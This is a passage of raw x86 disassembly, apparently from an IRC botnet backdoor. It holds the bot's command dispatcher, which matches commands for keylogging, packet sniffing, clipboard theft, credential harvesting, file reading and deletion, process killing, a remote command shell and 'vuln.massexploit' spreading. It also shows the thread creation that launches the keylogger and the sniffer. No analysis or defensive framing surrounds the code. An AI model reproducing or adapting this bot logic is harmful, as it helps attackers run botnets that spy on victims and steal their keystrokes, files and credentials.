		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412293
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412268
		push	edi
		push	offset aSi	; "si"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412268
		push	edi
		push	offset aEnz_be010ne ; "enz.be010ne"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41222E
		push	edi
		push	offset aEnz_010	; "enz.010`"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41222E
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412125
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412125
		push	edi
		push	offset aBox_harvest ; "box.harvest"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120FB
		push	edi
		push	offset aBox_key	; "box.key"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120FB
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412077
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412077
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41205A
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41205A
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412041
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412041
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FFA
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FFA
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E497
		push	dword ptr [ebp+esi-90h]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E497:				; CODE XREF: seg000:0040E47Dj
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E524
		cmp	[ebp-8], ebx
		jnz	short loc_40E4C7
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aLoginList ; "-[Login List]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h


loc_40E4C7:				; CODE XREF: seg000:0040E4ABj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40E4CC:				; CODE XREF: seg000:0040E512j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40E4D8
		mov	eax, offset aEmpty ; "<Empty>"


loc_40E4D8:				; CODE XREF: seg000:0040E4D1j
		push	eax
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E4CC
		push	offset dword_435C50


loc_40E519:				; CODE XREF: seg000:004124DFj
		call	sub_40B16D
		pop	ecx
		jmp	loc_412990
; ---------------------------------------------------------------------------


loc_40E524:				; CODE XREF: seg000:0040E4A6j
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB9
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB9
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F8E
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F8E
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F6A
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F6A
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F2D
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F2D
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D93
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D93
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C55
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C55
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411956
		push	edi
		push	offset aVv	; "vv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411956
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	loc_40D219
		push	dword ptr [ebp+10h]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193D
		push	dword ptr [ebp+10h]
		push	offset aEnz_n	; "enz.n"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193D
		push	dword ptr [ebp+10h]
		push	offset aEnz_join ; "enz.join"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41191D
		push	dword ptr [ebp+10h]
		push	offset aEnz_j	; "enz.j"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41191D
		push	dword ptr [ebp+10h]
		push	offset aEnz_part ; "enz.part"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411904
		push	dword ptr [ebp+10h]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411904
		push	dword ptr [ebp+10h]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118CD
		push	dword ptr [ebp+10h]
		push	offset aEnz_r	; "enz.r"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118CD
		push	dword ptr [ebp+10h]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41180A
		push	dword ptr [ebp+10h]
		push	offset aThreads_k ; "threads.k"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41180A
		push	dword ptr [ebp+10h]
		push	offset aClone_quit ; "clone.quit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41175F
		push	dword ptr [ebp+10h]
		push	offset aClone_q	; "clone.q"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41175F
		push	dword ptr [ebp+10h]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411714
		push	dword ptr [ebp+10h]
		push	offset aClone_rn ; "clone.rn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411714
		push	dword ptr [ebp+10h]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116FF
		push	dword ptr [ebp+10h]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116FF
		push	dword ptr [ebp+10h]
		push	offset aBox_open ; "box.open"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116D5
		push	dword ptr [ebp+10h]
		push	offset aBox_o	; "box.o"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116D5
		push	dword ptr [ebp+10h]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B0
		push	dword ptr [ebp+10h]
		push	offset aEnz_se	; "enz.se"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B0
		push	dword ptr [ebp+10h]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41164E
		push	dword ptr [ebp+10h]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41164E
		push	dword ptr [ebp+10h]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411622
		push	dword ptr [ebp+10h]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411622
		push	dword ptr [ebp+10h]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115C7
		push	dword ptr [ebp+10h]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115C7
		push	dword ptr [ebp+10h]
		push	offset aBox_delete ; "box.delete"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411590
		push	dword ptr [ebp+10h]
		push	offset aBox_del	; "box.del"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411590
		push	dword ptr [ebp+10h]
		push	offset aDcc_get	; "dcc.get"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114AF
		push	dword ptr [ebp+10h]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114AF
		push	dword ptr [ebp+10h]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411494
		push	dword ptr [ebp+10h]
		push	offset aBox_fl	; "box.fl"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411494
		push	dword ptr [ebp+10h]
		push	offset aEnz_visit ; "enz.visit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4113B6
		push	dword ptr [ebp+10h]
		push	offset aEnz_v	; "enz.v"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4113B6
		push	dword ptr [ebp+10h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41137B
		push	dword ptr [ebp+10h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41137B
		push	dword ptr [ebp+10h]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411330
		push	dword ptr [ebp+10h]
		push	offset aBox_cm	; "box.cm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411330
		push	dword ptr [ebp+10h]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4112AB
		push	dword ptr [ebp+10h]
		push	offset aBox_rf	; "box.rf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4112AB
		push	dword ptr [ebp+10h]
		push	offset aSniff	; "sniff"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB3B
		push	edi
		push	offset aOn	; "on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB06
		push	18h
		call	sub_4151DD
		test	eax, eax
		pop	ecx
		jle	short loc_40EA33
		push	offset unk_4359B0
		jmp	loc_40EBA7
; ---------------------------------------------------------------------------


loc_40EA33:				; CODE XREF: seg000:0040EA27j
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jnz	short loc_40EA75
		mov	esi, offset aSs_0 ; "#ss"
		push	offset byte_438FAC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA75
		mov	esi, [ebp-8Ch]


loc_40EA75:				; CODE XREF: seg000:0040EA57j
					; seg000:0040EA6Dj
		push	esi
		lea	eax, [ebp-4D8h]
		push	80h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp-2C8h]
		push	offset unk_43596C
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	18h
		push	eax
		call	sub_414F95
		add	esp, 20h
		mov	[ebp-458h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	4024DCh
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-458h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_40EAF5


loc_40EADF:				; CODE XREF: seg000:0040EAF3j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40ECC3
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40EADF
; ---------------------------------------------------------------------------


loc_40EAF5:				; CODE XREF: seg000:0040EADDj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43591C
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_40EB06:				; CODE XREF: seg000:0040EA17j
		push	edi
		push	offset aOff	; "off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECC3
		push	ebx
		push	18h
		call	sub_415190
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EB34
		push	eax
		push	offset unk_4358CC
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_40EB34:				; CODE XREF: seg000:0040EB27j
		push	offset unk_435890
		jmp	short loc_40EBA7
; ---------------------------------------------------------------------------


loc_40EB3B:				; CODE XREF: seg000:0040EA02j
		push	dword ptr [ebp+10h]
		push	offset aBox_keylog ; "box.keylog"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECED
		push	edi
		push	offset aOn	; "on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EBBA
		push	edi
		push	offset aFile	; "file"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EBBA
		push	edi
		push	offset aOff	; "off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECC3
		push	ebx
		push	1Ah
		call	sub_415190
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EBA2
		push	eax
		push	offset unk_435834
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_40EBA2:				; CODE XREF: seg000:0040EB95j
		push	offset unk_4357F4


loc_40EBA7:				; CODE XREF: seg000:0040EA2Ej
					; seg000:0040EB39j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------


loc_40EBBA:				; CODE XREF: seg000:0040EB61j
					; seg000:0040EB72j
		push	1Ah
		call	sub_4151DD
		test	eax, eax
		pop	ecx
		jle	short loc_40EBCD
		push	offset unk_4357C0
		jmp	short loc_40EBA7
; ---------------------------------------------------------------------------


loc_40EBCD:				; CODE XREF: seg000:0040EBC4j
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		push	offset aFile	; "file"
		mov	[ebp-454h], eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EBFC
		mov	dword ptr [ebp-450h], 1
		jmp	short loc_40EC05
; ---------------------------------------------------------------------------


loc_40EBFC:				; CODE XREF: seg000:0040EBEEj
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax


loc_40EC05:				; CODE XREF: seg000:0040EBFAj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jnz	short loc_40EC2C
		mov	esi, offset aSs	; "#ss"
		push	offset byte_438FAC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC2C
		mov	esi, [ebp-8Ch]


loc_40EC2C:				; CODE XREF: seg000:0040EC0Ej
					; seg000:0040EC24j
		push	esi
		lea	eax, [ebp-4D4h]
		push	80h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp-2C8h]
		push	offset unk_43578C
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Ah
		push	eax
		call	sub_414F95
		add	esp, 20h
		mov	[ebp-4D8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	offset loc_4021FB
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-4D8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_40ECA8


loc_40EC96:				; CODE XREF: seg000:0040ECA6j
		cmp	[ebp-44Ch], ebx
		jnz	short loc_40ECC3
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40EC96
; ---------------------------------------------------------------------------


loc_40ECA8:				; CODE XREF: seg000:0040EC94j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43573C


loc_40ECB4:				; CODE XREF: seg000:0040EB01j
					; seg000:0040EB2Fj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_40ECC3:				; CODE XREF: seg000:0040EAE5j
					; seg000:0040EB15j ...
		cmp	[ebp-8], ebx
		jnz	loc_40D7F9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------


loc_40ECED:				; CODE XREF: seg000:0040EB4Cj
		push	dword ptr [ebp+10h]
		push	offset aBox_net	; "box.net"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EFBE
		cmp	ds:dword_43A458, ebx
		jz	short loc_40ED1E
		cmp	ds:dword_43A480, ebx
		jz	short loc_40ED1E
		push	offset dword_4356E8
		jmp	loc_40EF78
; ---------------------------------------------------------------------------


loc_40ED1E:				; CODE XREF: seg000:0040ED0Aj
					; seg000:0040ED12j
		cmp	[ebp-0Ch], ebx
		jz	loc_40EF86
		mov	eax, [ebp+esi-8Ch]
		mov	[ebp+8], ebx
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_40ED46
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_40ED46:				; CODE XREF: seg000:0040ED36j
		push	edi
		push	offset aStart	; "start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDAC
		cmp	[ebp+20h], ebx
		jz	short loc_40ED80
		push	dword ptr [ebp+8]
		push	3


loc_40ED61:				; CODE XREF: seg000:0040EDC2j
					; seg000:0040EDDAj ...
		call	sub_412DE9
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E9
		add	esp, 14h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------


loc_40ED80:				; CODE XREF: seg000:0040ED5Aj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_413090
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EDA2
		push	offset dword_4356B0
		jmp	loc_40EF78
; ---------------------------------------------------------------------------


loc_40EDA2:				; CODE XREF: seg000:0040ED96j
		push	offset dword_43567C
		jmp	loc_40EF78
; ---------------------------------------------------------------------------


loc_40EDAC:				; CODE XREF: seg000:0040ED55j
		push	edi
		push	offset aStop	; "stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDC4
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_40ED61
; ---------------------------------------------------------------------------


loc_40EDC4:				; CODE XREF: seg000:0040EDBBj
		push	edi
		push	offset aPause	; "pause"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDDC
		push	dword ptr [ebp+8]
		push	5
		jmp	short loc_40ED61
; ---------------------------------------------------------------------------


loc_40EDDC:				; CODE XREF: seg000:0040EDD3j
		push	edi
		push	offset aContinue ; "continue"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDF7
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_40ED61
; ---------------------------------------------------------------------------


loc_40EDF7:				; CODE XREF: seg000:0040EDEBj
		push	edi
		push	offset aDelete	; "delete"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE12
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_40ED61
; ---------------------------------------------------------------------------


loc_40EE12:				; CODE XREF: seg000:0040EE06j
		push	edi
		push	offset aShare	; "share"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE8F
		cmp	[ebp+20h], ebx
		jz	short loc_40EE62
		cmp	[ebp-9B0h], bl
		jz	short loc_40EE38
		push	ebx
		push	dword ptr [ebp+20h]
		push	1
		jmp	short loc_40EE43
; ---------------------------------------------------------------------------


loc_40EE38:				; CODE XREF: seg000:0040EE2Ej
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	ebx


loc_40EE43:				; CODE XREF: seg000:0040EE36j
		call	sub_4131CD
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E9
		add	esp, 18h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------


loc_40EE62:				; CODE XREF: seg000:0040EE26j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4133C2
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EE85
		push	offset dword_435628
		jmp	loc_40EF78
; ---------------------------------------------------------------------------


loc_40EE85:				; CODE XREF: seg000:0040EE79j
		push	offset dword_4355F4
		jmp	loc_40EF78
; ---------------------------------------------------------------------------


loc_40EE8F:				; CODE XREF: seg000:0040EE21j
		push	edi
		push	offset aUser	; "user"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EF2B
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40EF04
		cmp	[ebp-9B0h], bl
		jz	short loc_40EEC5
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40EEE5
; ---------------------------------------------------------------------------


loc_40EEC5:				; CODE XREF: seg000:0040EEB1j
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40EEE1
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40EEE5
; ---------------------------------------------------------------------------


loc_40EEE1:				; CODE XREF: seg000:0040EEDAj
		push	ebx
		push	eax
		push	2


loc_40EEE5:				; CODE XREF: seg000:0040EEC3j
					; seg000:0040EEDFj
		call	sub_4134E3
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E9
		add	esp, 24h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------


loc_40EF04:				; CODE XREF: seg000:0040EEA9j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4139F7
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EF24
		push	offset dword_4355B8
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------


loc_40EF24:				; CODE XREF: seg000:0040EF1Bj
		push	offset dword_435588
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------


loc_40EF2B:				; CODE XREF: seg000:0040EE9Ej
		push	edi
		push	offset aSend	; "send"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EF73
		cmp	[ebp+20h], ebx
		jz	short loc_40EF6C
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_413CAB
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E9
		add	esp, 1Ch
		jmp	short loc_40EF86
; ---------------------------------------------------------------------------


loc_40EF6C:				; CODE XREF: seg000:0040EF3Fj
		push	offset dword_435554
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------


loc_40EF73:				; CODE XREF: seg000:0040EF3Aj
		push	offset dword_435524


loc_40EF78:				; CODE XREF: seg000:0040ED19j
					; seg000:0040ED9Dj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_40EF86:				; CODE XREF: seg000:0040ED21j
					; seg000:0040ED7Bj ...
		cmp	[ebp-8], ebx
		jnz	short loc_40EFA7
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h


loc_40EFA7:				; CODE XREF: seg000:0040EF89j
					; seg000:00411320j ...
		mov	esi, [ebp+2Ch]


loc_40EFAA:				; CODE XREF: seg000:0040D7FCj
					; seg000:004115FBj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B16D
		pop	ecx
		mov	eax, esi
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_40EFBE:				; CODE XREF: seg000:0040ECFEj
		push	dword ptr [ebp+10h]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111C7
		push	dword ptr [ebp+10h]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111C7
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_40D219
		push	dword ptr [ebp+10h]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411188
		push	dword ptr [ebp+10h]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411188
		push	dword ptr [ebp+10h]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411135
		push	dword ptr [ebp+10h]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411135
		push	dword ptr [ebp+10h]
		push	offset aEnz_action ; "enz.action"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110C7
		push	dword ptr [ebp+10h]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110C7
		push	dword ptr [ebp+10h]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411064
		push	dword ptr [ebp+10h]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411064
